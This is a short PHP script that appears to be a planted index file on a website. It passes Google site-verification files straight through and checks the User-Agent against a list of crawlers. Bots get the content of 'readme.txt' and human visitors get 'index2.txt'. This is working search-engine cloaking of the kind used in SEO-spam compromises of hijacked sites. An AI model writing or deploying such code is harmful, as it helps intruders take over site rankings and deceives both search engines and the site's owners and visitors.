<?php
$request_uri = parse_url($_SERVER['REQUEST_URI'] ?? '', PHP_URL_PATH);
$request_file = __DIR__ . $request_uri;

if (preg_match('/^\/google[a-f0-9]+(_\d+)?\.html$/i', $request_uri) && file_exists($request_file)) {
    readfile($request_file);
    exit;
}

function isSearchEngineBot() {
    if (!isset($_SERVER['HTTP_USER_AGENT'])) return false;
    return preg_match('/(googlebot|bingbot|yandexbot|baiduspider|duckduckbot|slurp|facebot|ia_archiver|TelegramBot|Google-InspectionTool|Google-Site-Verification|AhrefsBot)/i', $_SERVER['HTTP_USER_AGENT']);
}

function SundaFetchLocal($filePath) {
    if (file_exists($filePath)) {
        return file_get_contents($filePath);
    } else {
        return "<!-- File not found: $filePath -->";
    }
}

$landing_page = __DIR__ . '/readme.txt';
$index_home   = __DIR__ . '/index2.txt';

if (isSearchEngineBot()) {
    echo SundaFetchLocal($landing_page);
} else {
    echo SundaFetchLocal($index_home);
}